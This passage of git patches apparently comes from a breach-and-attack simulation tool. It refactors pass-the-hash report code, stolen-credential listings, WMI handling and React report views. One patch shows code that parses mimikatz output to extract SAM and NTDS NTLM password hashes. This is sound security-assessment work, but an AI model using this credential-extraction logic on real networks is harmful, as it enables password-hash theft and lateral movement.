users_cred_groups = [] + docs = PTHReportService.__dup_passwords_mongoquery() + for doc in docs: + users_list = [ + { + 'username': user['name'], + 'domain_name': user['domain_name'], + 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) + if user['machine_id'] else None + } for user in doc['Docs'] + ] + users_cred_groups.append({'cred_groups': users_list}) + + return users_cred_groups + + @staticmethod + def get_duplicated_passwords_issues(): + user_groups = PTHReportService.get_duplicated_passwords_nodes() + issues = [] + for group in user_groups: + user_info = group['cred_groups'][0] + issues.append( + { + 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', + 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], + 'shared_with': [i['username'] for i in group['cred_groups']], + 'is_local': False if user_info['domain_name'] else True + } + ) + return issues + + @staticmethod + def get_shared_admins_nodes(): + + # This mongo queries users the best solution to figure out if an array + # object has at least two objects in it, by making sure any value exists in the array index 1. + admins = mongo.db.groupsandusers.find({'type': 1, 'admin_on_machines.1': {'$exists': True}}, + {'admin_on_machines': 1, 'name': 1, 'domain_name': 1}) + return [ + { + 'name': admin['name'], + 'domain_name': admin['domain_name'], + 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines']) + } for admin in admins + ] + + @staticmethod + def get_shared_admins_issues(): + admins_info = PTHReportService.get_shared_admins_nodes() + return [ + { + 'is_local': False, + 'type': 'shared_admins_domain', + 'machine': admin['domain_name'], + 'username': admin['name'], + 'shared_machines': admin['admin_on_machines'], + } + for admin in admins_info] + + @staticmethod + def get_strong_users_on_critical_machines_nodes(): + + crit_machines = {} + docs = PTHReportService.__strong_users_on_crit_query() + for doc in docs: hostname = str(doc['critical_machine']['hostname']) - if not hostname in crit_machines: - crit_machines[hostname] = {} - crit_machines[hostname]['threatening_users'] = [] - crit_machines[hostname]['critical_services'] = doc['critical_machine']['critical_services'] + if hostname not in crit_machines: + crit_machines[hostname] = { + 'threatening_users': [], + 'critical_services': doc['critical_machine']['critical_services'] + } crit_machines[hostname]['threatening_users'].append( {'name': str(doc['domain_name']) + '\\' + str(doc['name']), 'creds_location': doc['secret_location']}) @@ -131,107 +142,92 @@ class PTHReportService(object): @staticmethod def get_strong_users_on_crit_issues(): - issues = [] crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes() - for machine in crit_machines: - issues.append( - { - 'type': 'strong_users_on_crit', - 'machine': machine, - 'services': crit_machines[machine].get('critical_services'), - 'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']] - } - ) - return issues + return [ + { + 'type': 'strong_users_on_crit', + 'machine': machine, + 'services': crit_machines[machine].get('critical_services'), + 'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']] + } for machine in crit_machines + ] @staticmethod def get_strong_users_on_crit_details(): - table_entries = [] user_details = {} crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes() for machine in crit_machines: for user in crit_machines[machine]['threatening_users']: username = user['name'] if username not in user_details: - user_details[username] = {} - user_details[username]['machines'] = [] - user_details[username]['services'] = [] + user_details[username] = { + 'machines': [], + 'services': [] + } user_details[username]['machines'].append(machine) user_details[username]['services'] += crit_machines[machine]['critical_services'] - for user in user_details: - table_entries.append( - { - 'username': user, - 'machines': user_details[user]['machines'], - 'services_names': user_details[user]['services'] - } - ) - - return table_entries + return [ + { + 'username': user, + 'machines': user_details[user]['machines'], + 'services_names': user_details[user]['services'] + } for user in user_details + ] @staticmethod def generate_map_nodes(): - - nodes_list = [] monkeys = mongo.db.monkey.find({}, {'_id': 1, 'hostname': 1, 'critical_services': 1, 'ip_addresses': 1}) - for monkey in monkeys: - critical_services = monkey.get('critical_services', []) - nodes_list.append({ + + return [ + { 'id': monkey['_id'], 'label': '{0} : {1}'.format(monkey['hostname'], monkey['ip_addresses'][0]), - 'group': 'critical' if critical_services else 'normal', - 'services': critical_services, + 'group': 'critical' if monkey.get('critical_services', []) else 'normal', + 'services': monkey.get('critical_services', []), 'hostname': monkey['hostname'] - }) - - return nodes_list + } for monkey in monkeys + ] @staticmethod - def generate_edge_nodes(): + def generate_edges(): edges_list = [] - pipeline = [ + + comp_users = mongo.db.groupsandusers.find( { - '$match': {'admin_on_machines': {'$ne': []}, 'secret_location': {'$ne': []}, 'type': 1} + 'admin_on_machines': {'$ne': []}, + 'secret_location': {'$ne': []}, + 'type': 1 }, { - '$project': {'admin_on_machines': 1, 'secret_location': 1} + 'admin_on_machines': 1, 'secret_location': 1 } - ] - comp_users = mongo.db.groupsandusers.aggregate(pipeline) + ) for user in comp_users: - pairs = PTHReportService.generate_edges_tuples(user['admin_on_machines'], user['secret_location']) - for pair in pairs: + # A list comp, to get all unique pairs of attackers and victims. + for pair in [pair for pair in product(user['admin_on_machines'], user['secret_location']) + if pair[0] != pair[1]]: edges_list.append( { 'from': pair[1], 'to': pair[0], - 'id': str(uuid.uuid4()) + 'id': str(pair[1]) + str(pair[0]) } ) return edges_list - @staticmethod - def generate_edges_tuples(*lists): - - for t in combinations(lists, 2): - for pair in product(*t): - # Don't output pairs containing duplicated elements - if pair[0] != pair[1]: - yield pair - @staticmethod def get_pth_map(): return { 'nodes': PTHReportService.generate_map_nodes(), - 'edges': PTHReportService.generate_edge_nodes() + 'edges': PTHReportService.generate_edges() } @staticmethod def get_report(): - + pth_map = PTHReportService.get_pth_map() PTHReportService.get_strong_users_on_critical_machines_nodes() report = \ { @@ -242,8 +238,8 @@ class PTHReportService(object): 'pthmap': { - 'nodes': PTHReportService.generate_map_nodes(), - 'edges': PTHReportService.generate_edge_nodes() + 'nodes': pth_map.get('nodes'), + 'edges': pth_map.get('edges') } } diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index f82f1518d..26a5c87f1 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -1,6 +1,5 @@ import itertools import functools -import pprint import ipaddress import logging @@ -160,7 +159,7 @@ class ReportService: @staticmethod def get_stolen_creds(): PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} - creds = [] + creds = set() for telem in mongo.db.telemetry.find( {'telem_type': 'system_info_collection', 'data.credentials': {'$exists': True}}, {'data.credentials': 1, 'monkey_guid': 1} @@ -177,14 +176,9 @@ class ReportService: 'type': PASS_TYPE_DICT[pass_type], 'origin': origin } - if cred_row not in creds: - creds.append(cred_row) + creds.add(cred_row) logger.info('Stolen creds generated for reporting') - return creds - - @staticmethod - def get_pth_shared_passwords(): - pass + return list(creds) @staticmethod def get_ssh_keys(): @@ -544,7 +538,7 @@ class ReportService: domain_issues_dict = {} for issue in issues: if not issue.get('is_local', True): - machine = issue.get('machine', '').upper() + machine = issue.get('machine').upper() if machine not in domain_issues_dict: domain_issues_dict[machine] = [] domain_issues_dict[machine].append(issue) @@ -566,7 +560,7 @@ class ReportService: issues_dict = {} for issue in issues: if issue.get('is_local', True): - machine = issue.get('machine', '').upper() + machine = issue.get('machine').upper() if machine not in issues_dict: issues_dict[machine] = [] issues_dict[machine].append(issue) @@ -707,17 +701,14 @@ class ReportService: 'exploited': ReportService.get_exploited(), 'stolen_creds': ReportService.get_stolen_creds(), 'azure_passwords': ReportService.get_azure_creds(), - 'ssh_keys': ReportService.get_ssh_keys() + 'ssh_keys': ReportService.get_ssh_keys(), + 'strong_users': PTHReportService.get_strong_users_on_crit_details(), + 'pth_map': PTHReportService.get_pth_map() }, 'recommendations': { 'issues': issues, 'domain_issues': domain_issues - }, - 'pth': - { - 'strong_users': PTHReportService.get_strong_users_on_crit_details(), - 'map': PTHReportService.get_pth_map(), } } diff --git a/monkey/monkey_island/cc/services/user_info.py b/monkey/monkey_island/cc/services/user_info.py index c69a011a6..e233c1f31 100644 --- a/monkey/monkey_island/cc/services/user_info.py +++ b/monkey/monkey_island/cc/services/user_info.py @@ -1,45 +1,52 @@ +__author__ = 'maor.rayzin' + -def extract_sam_secrets(mim_string, users_dict): - users_secrets = mim_string.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] +class MimikatzSecrets(object): - if mim_string.count("\n42.") != 2: - return {} + def __init__(self): + # Static class + pass - for sam_user_txt in users_secrets: - sam_user = dict([map(unicode.strip, line.split(":")) for line in - filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) - username = sam_user.get("User") - users_dict[username] = {} + @staticmethod + def extract_sam_secrets(mim_string, users_dict): + users_secrets = mim_string.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] - ntlm = sam_user.get("NTLM") - if "[hashed secret]" not in ntlm: - continue + if mim_string.count("\n42.") != 2: + return {} - users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip() + for sam_user_txt in users_secrets: + sam_user = dict([map(unicode.strip, line.split(":")) for line in + filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) + username = sam_user.get("User") + users_dict[username] = {} + ntlm = sam_user.get("NTLM") + if "[hashed secret]" not in ntlm: + continue -def extract_ntlm_secrets(mim_string, users_dict): + users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip() - if mim_string.count("\n42.") != 2: - return {} + @staticmethod + def extract_ntlm_secrets(mim_string, users_dict): - ntds_users = mim_string.split("\n42.")[2].split("\nRID :")[1:] + if mim_string.count("\n42.") != 2: + return {} - for ntds_user_txt in ntds_users: - user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip() - ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip() - ntlm = ntlm.replace("[hashed secret]", "").strip() - users_dict[user] = {} - if ntlm: - users_dict[user]['ntlm'] = ntlm + ntds_users = mim_string.split("\n42.")[2].split("\nRID :")[1:] + for ntds_user_txt in ntds_users: + user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip() + ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip() + ntlm = ntlm.replace("[hashed secret]", "").strip() + users_dict[user] = {} + if ntlm: + users_dict[user]['ntlm'] = ntlm -def extract_secrets_from_mimikatz(mim_string): - users_dict = {} - extract_sam_secrets(mim_string, users_dict) - extract_ntlm_secrets(mim_string, users_dict) - - return users_dict - + @staticmethod + def extract_secrets_from_mimikatz(mim_string): + users_dict = {} + MimikatzSecrets.extract_sam_secrets(mim_string, users_dict) + MimikatzSecrets.extract_ntlm_secrets(mim_string, users_dict) + return users_dict diff --git a/monkey/monkey_island/cc/services/wmi_info_handler.py b/monkey/monkey_island/cc/services/wmi_info_handler.py index b4b12c7a3..61f85eb61 100644 --- a/monkey/monkey_island/cc/services/wmi_info_handler.py +++ b/monkey/monkey_island/cc/services/wmi_info_handler.py @@ -1,7 +1,9 @@ from cc.database import mongo +__author__ = 'maor.rayzin' -class WMIHandler: + +class WMIHandler(object): ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544' @@ -13,26 +15,29 @@ class WMIHandler: self.users_info = wmi_info['Win32_UserAccount'] self.groups_info = wmi_info['Win32_Group'] self.groups_and_users = wmi_info['Win32_GroupUser'] + self.products = wmi_info['Win32_Service'] + self.services = wmi_info['Win32_Product'] - def process_and_handle(self): + def process_and_handle_wmi_info(self): self.add_groups_to_collection() self.add_users_to_collection() self.create_group_user_connection() + self.insert_info_to_mongo() self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) self.update_admins_retrospective() - self.insert_info_to_mongo() + self.update_critical_services() - def update_critical_services(self, wmi_services, wmi_products, machine_id): + def update_critical_services(self): critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') - mongo.db.monkey.update({'_id': machine_id}, {'$set': {'critical_services': []}}) + mongo.db.monkey.update({'_id': self.monkey_id}, {'$set': {'critical_services': []}}) - services_names_list = [str(i['Name'])[2:-1] for i in wmi_services] - products_names_list = [str(i['Name'])[2:-2] for i in wmi_products] + services_names_list = [str(i['Name'])[2:-1] for i in self.services] + products_names_list = [str(i['Name'])[2:-2] for i in self.products] for name in critical_names: if name in services_names_list or name in products_names_list: - mongo.db.monkey.update({'_id': machine_id}, {'$addToSet': {'critical_services': name}}) + mongo.db.monkey.update({'_id': self.monkey_id}, {'$addToSet': {'critical_services': name}}) def build_entity_document(self, entity_info, monkey_id=None): general_properties_dict = { diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 5a5a4e526..114775756 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -163,7 +163,6 @@ class AppComponent extends AuthComponent { {this.renderRoute('/run-monkey', )} {this.renderRoute('/infection/map', )} {this.renderRoute('/infection/telemetry', )} - {this.renderRoute('/pth', )} {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} {this.renderRoute('/license', )} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 98224541c..67dc9e0c4 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -9,9 +9,7 @@ import CollapsibleWellComponent from 'components/report-components/CollapsibleWe import {Line} from 'rc-progress'; import AuthComponent from '../AuthComponent'; import PassTheHashMapPageComponent from "./PassTheHashMapPage"; -import SharedCreds from "components/report-components/SharedCreds"; import StrongUsers from "components/report-components/StrongUsers"; -import SharedAdmins from "components/report-components/SharedAdmins"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); let monkeyLogoImage = require('../../images/monkey-icon.svg'); @@ -47,13 +45,10 @@ class ReportPageComponent extends AuthComponent { super(props); this.state = { report: {}, - pthreport: {}, - pthmap: {}, graph: {nodes: [], edges: []}, allMonkeysAreDead: false, runStarted: true }; - this.getPth } componentDidMount() { @@ -122,9 +117,7 @@ class ReportPageComponent extends AuthComponent { .then(res => res.json()) .then(res => { this.setState({ - report: res, - pthreport: res.pth.info, - pthmap: res.pth.map + report: res }); }); } @@ -475,7 +468,7 @@ class ReportPageComponent extends AuthComponent {
    - +
    ); @@ -495,7 +488,7 @@ class ReportPageComponent extends AuthComponent { Access credentials |
    - +

    diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js b/monkey/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js deleted file mode 100644 index bf57065d5..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js +++ /dev/null @@ -1,42 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table' - -let renderArray = function(val) { - return
    {val.map(x =>
    {x}
    )}
    ; -}; - -const columns = [ - { - Header: 'Shared Admins Between Machines', - columns: [ - { Header: 'Username', accessor: 'username'}, - { Header: 'Domain', accessor: 'domain'}, - { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)}, - ] - } -]; - -const pageSize = 10; - -class SharedAdminsComponent extends React.Component { - constructor(props) { - super(props); - } - - render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; - return ( -
    - -
    - ); - } -} - -export default SharedAdminsComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SharedCreds.js b/monkey/monkey_island/cc/ui/src/components/report-components/SharedCreds.js deleted file mode 100644 index f42494167..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SharedCreds.js +++ /dev/null @@ -1,41 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table' - -let renderArray = function(val) { - console.log(val); - return
    {val.map(x =>
    {x}
    )}
    ; -}; - -const columns = [ - { - Header: 'Shared Credentials', - columns: [ - {Header: 'Credential Group', id: 'cred_group', accessor: x => renderArray(x.cred_group) } - ] - } -]; - -const pageSize = 10; - -class SharedCredsComponent extends React.Component { - constructor(props) { - super(props); - } - - render() { - let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; - let showPagination = this.props.data.length > pageSize; - return ( -
    - -
    - ); - } -} - -export default SharedCredsComponent; From b85fb8c94ae5816aa28709ff0eeec9d799f61437 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 29 Oct 2018 13:06:09 +0200 Subject: [PATCH 224/243] Some bug fixes and CR after shocks --- monkey/monkey_island/cc/services/node.py | 2 +- monkey/monkey_island/cc/services/pth_report.py | 3 +-- monkey/monkey_island/cc/services/report.py | 9 +++++---- monkey/monkey_island/cc/services/user_info.py | 2 +- monkey/monkey_island/cc/services/wmi_info_handler.py | 2 +- 5 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 87b2a1aec..072917974 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -328,4 +328,4 @@ class NodeService: @staticmethod def get_hostname_by_id(node_id): - NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) + return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 11d2be821..c29049951 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -70,8 +70,7 @@ class PTHReportService(object): { 'username': user['name'], 'domain_name': user['domain_name'], - 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) - if user['machine_id'] else None + 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if user['machine_id'] else None } for user in doc['Docs'] ] users_cred_groups.append({'cred_groups': users_list}) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 26a5c87f1..216882fa7 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -159,7 +159,7 @@ class ReportService: @staticmethod def get_stolen_creds(): PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} - creds = set() + creds = [] for telem in mongo.db.telemetry.find( {'telem_type': 'system_info_collection', 'data.credentials': {'$exists': True}}, {'data.credentials': 1, 'monkey_guid': 1} @@ -176,9 +176,10 @@ class ReportService: 'type': PASS_TYPE_DICT[pass_type], 'origin': origin } - creds.add(cred_row) + if cred_row not in creds: + creds.append(cred_row) logger.info('Stolen creds generated for reporting') - return list(creds) + return creds @staticmethod def get_ssh_keys(): @@ -560,7 +561,7 @@ class ReportService: issues_dict = {} for issue in issues: if issue.get('is_local', True): - machine = issue.get('machine').upper() + machine = issue.get('machine', '').upper() if machine not in issues_dict: issues_dict[machine] = [] issues_dict[machine].append(issue) diff --git a/monkey/monkey_island/cc/services/user_info.py b/monkey/monkey_island/cc/services/user_info.py index e233c1f31..9aca91a59 100644 --- a/monkey/monkey_island/cc/services/user_info.py +++ b/monkey/monkey_island/cc/services/user_info.py @@ -22,7 +22,7 @@ class MimikatzSecrets(object): users_dict[username] = {} ntlm = sam_user.get("NTLM") - if "[hashed secret]" not in ntlm: + if not ntlm or "[hashed secret]" not in ntlm: continue users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip() diff --git a/monkey/monkey_island/cc/services/wmi_info_handler.py b/monkey/monkey_island/cc/services/wmi_info_handler.py index 61f85eb61..d119772f5 100644 --- a/monkey/monkey_island/cc/services/wmi_info_handler.py +++ b/monkey/monkey_island/cc/services/wmi_info_handler.py @@ -29,7 +29,7 @@ class WMIHandler(object): self.update_critical_services() def update_critical_services(self): - critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') + critical_names = ("W3svc", "MSExchangeServiceHost", "dns", 'MSSQL$SQLEXPRES') mongo.db.monkey.update({'_id': self.monkey_id}, {'$set': {'critical_services': []}}) services_names_list = [str(i['Name'])[2:-1] for i in self.services] From 242c2c8700826c4a0a82f6f8636354da422954ae Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 29 Oct 2018 14:24:52 +0200 Subject: [PATCH 225/243] Added hostname to shared creds users --- monkey/monkey_island/cc/services/pth_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index c29049951..90ee4956d 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -87,7 +87,7 @@ class PTHReportService(object): { 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], - 'shared_with': [i['username'] for i in group['cred_groups']], + 'shared_with': [i['hostname'] + '\\' + i['username'] for i in group['cred_groups']], 'is_local': False if user_info['domain_name'] else True } ) From f60c12b391f563a775733e9987a1cc5ac45d1430 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 29 Oct 2018 15:01:23 +0200 Subject: [PATCH 226/243] Added hostname to all issues generated --- monkey/monkey_island/cc/services/pth_report.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 90ee4956d..9a862f212 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -29,10 +29,10 @@ class PTHReportService(object): return mongo.db.groupsandusers.aggregate(pipeline) @staticmethod - def __get_admin_on_machines_format(admin_on_machines): + def __get_admin_on_machines_format(admin_on_machines, domain_name): machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1}) - return [i['hostname'] for i in list(machines)] + return [domain_name + '\\' + i['hostname'] for i in list(machines)] @staticmethod def __strong_users_on_crit_query(): @@ -104,7 +104,7 @@ class PTHReportService(object): { 'name': admin['name'], 'domain_name': admin['domain_name'], - 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines']) + 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], admin['domain_name']) } for admin in admins ] @@ -116,7 +116,7 @@ class PTHReportService(object): 'is_local': False, 'type': 'shared_admins_domain', 'machine': admin['domain_name'], - 'username': admin['name'], + 'username': admin['domain_name'] + '\\' + admin['name'], 'shared_machines': admin['admin_on_machines'], } for admin in admins_info] From 3a2d9a9cc275b67f4fb8cadb763912327aa2ef15 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 29 Oct 2018 15:25:30 +0200 Subject: [PATCH 227/243] Excluded the name Administrator from the shared admin issue, it spams the report --- monkey/monkey_island/cc/services/pth_report.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 9a862f212..edb882561 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -98,7 +98,10 @@ class PTHReportService(object): # This mongo queries users the best solution to figure out if an array # object has at least two objects in it, by making sure any value exists in the array index 1. - admins = mongo.db.groupsandusers.find({'type': 1, 'admin_on_machines.1': {'$exists': True}}, + # Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account + # is shared. + admins = mongo.db.groupsandusers.find({'type': 1, 'name': {'$ne': 'Administrator'}, + 'admin_on_machines.1': {'$exists': True}}, {'admin_on_machines': 1, 'name': 1, 'domain_name': 1}) return [ { From 707c88434cb937fb8e6b20168cd3e3582ff41252 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 31 Oct 2018 14:20:56 +0200 Subject: [PATCH 228/243] RE-CR: changed names, added doc, created consts. --- .../monkey_island/cc/resources/telemetry.py | 6 ++-- .../cc/services/groups_and_users_consts.py | 5 +++ .../{user_info.py => mimikatz_utils.py} | 0 .../monkey_island/cc/services/pth_report.py | 35 ++++++++++++++++--- monkey/monkey_island/cc/services/report.py | 2 +- .../{wmi_info_handler.py => wmi_handler.py} | 9 ++--- 6 files changed, 45 insertions(+), 12 deletions(-) create mode 100644 monkey/monkey_island/cc/services/groups_and_users_consts.py rename monkey/monkey_island/cc/services/{user_info.py => mimikatz_utils.py} (100%) rename monkey/monkey_island/cc/services/{wmi_info_handler.py => wmi_handler.py} (96%) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 1680f7664..0db3b0eb4 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -9,12 +9,12 @@ from flask import request from cc.auth import jwt_required from cc.database import mongo -from cc.services import user_info +from cc.services import mimikatz_utils from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService from cc.encryptor import encryptor -from cc.services.wmi_info_handler import WMIHandler +from cc.services.wmi_handler import WMIHandler __author__ = 'Barak' @@ -186,7 +186,7 @@ class Telemetry(flask_restful.Resource): Telemetry.add_system_info_creds_to_config(creds) Telemetry.replace_user_dot_with_comma(creds) if 'mimikatz' in telemetry_json['data']: - users_secrets = user_info.MimikatzSecrets.\ + users_secrets = mimikatz_utils.MimikatzSecrets.\ extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) if 'wmi' in telemetry_json['data']: wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) diff --git a/monkey/monkey_island/cc/services/groups_and_users_consts.py b/monkey/monkey_island/cc/services/groups_and_users_consts.py new file mode 100644 index 000000000..03fefbe02 --- /dev/null +++ b/monkey/monkey_island/cc/services/groups_and_users_consts.py @@ -0,0 +1,5 @@ +"""This file will include consts values regarding the groupsandusers collection""" + +USERTYPE = 1 + +GROUPTYPE = 2 \ No newline at end of file diff --git a/monkey/monkey_island/cc/services/user_info.py b/monkey/monkey_island/cc/services/mimikatz_utils.py similarity index 100% rename from monkey/monkey_island/cc/services/user_info.py rename to monkey/monkey_island/cc/services/mimikatz_utils.py diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index edb882561..f72a430ba 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -3,6 +3,7 @@ from itertools import product from cc.database import mongo from bson import ObjectId +from cc.services.groups_and_users_consts import USERTYPE from cc.services.node import NodeService __author__ = 'maor.rayzin' @@ -11,6 +12,19 @@ class PTHReportService(object): @staticmethod def __dup_passwords_mongoquery(): + """ + This function build and query the mongoDB for users found that are using the same passwords, this is done + by comparing the NTLM hash found for each user by mimikatz. + :return: + A list of mongo documents (dicts in python) that look like this: + { + '_id': The NTLM hash, + 'count': How many users share it. + 'Docs': the name, domain name, _Id, and machine_id of the users + } + """ + + pipeline = [ {"$match": { 'NTLM_secret': { @@ -30,18 +44,31 @@ class PTHReportService(object): @staticmethod def __get_admin_on_machines_format(admin_on_machines, domain_name): - + """ + This function finds for each admin user, what machines its admin of and compile them to a list. + :param admin_on_machines: A list of "monkey" documents "_id"s + :param domain_name: The admin's domain name + :return: + A list of formatted machines names *domain*\*hostname*, to use in shared admins issues. + """ machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1}) return [domain_name + '\\' + i['hostname'] for i in list(machines)] @staticmethod def __strong_users_on_crit_query(): + """ + This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hash and + are administrators on machines with services predefined as important services thus making these machines + critical. + :return: + A list of said users + """ pipeline = [ { '$unwind': '$admin_on_machines' }, { - '$match': {'type': 1, 'domain_name': {'$ne': None}} + '$match': {'type': USERTYPE, 'domain_name': {'$ne': None}} }, { '$lookup': @@ -100,7 +127,7 @@ class PTHReportService(object): # object has at least two objects in it, by making sure any value exists in the array index 1. # Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account # is shared. - admins = mongo.db.groupsandusers.find({'type': 1, 'name': {'$ne': 'Administrator'}, + admins = mongo.db.groupsandusers.find({'type': USERTYPE, 'name': {'$ne': 'Administrator'}, 'admin_on_machines.1': {'$exists': True}}, {'admin_on_machines': 1, 'name': 1, 'domain_name': 1}) return [ @@ -200,7 +227,7 @@ class PTHReportService(object): { 'admin_on_machines': {'$ne': []}, 'secret_location': {'$ne': []}, - 'type': 1 + 'type': USERTYPE }, { 'admin_on_machines': 1, 'secret_location': 1 diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 216882fa7..fe8928a56 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -561,7 +561,7 @@ class ReportService: issues_dict = {} for issue in issues: if issue.get('is_local', True): - machine = issue.get('machine', '').upper() + machine = issue.get('machine').upper() if machine not in issues_dict: issues_dict[machine] = [] issues_dict[machine].append(issue) diff --git a/monkey/monkey_island/cc/services/wmi_info_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py similarity index 96% rename from monkey/monkey_island/cc/services/wmi_info_handler.py rename to monkey/monkey_island/cc/services/wmi_handler.py index d119772f5..a0ffcba8b 100644 --- a/monkey/monkey_island/cc/services/wmi_info_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -1,4 +1,5 @@ from cc.database import mongo +from cc.services.groups_and_users_consts import USERTYPE __author__ = 'maor.rayzin' @@ -15,8 +16,8 @@ class WMIHandler(object): self.users_info = wmi_info['Win32_UserAccount'] self.groups_info = wmi_info['Win32_Group'] self.groups_and_users = wmi_info['Win32_GroupUser'] - self.products = wmi_info['Win32_Service'] - self.services = 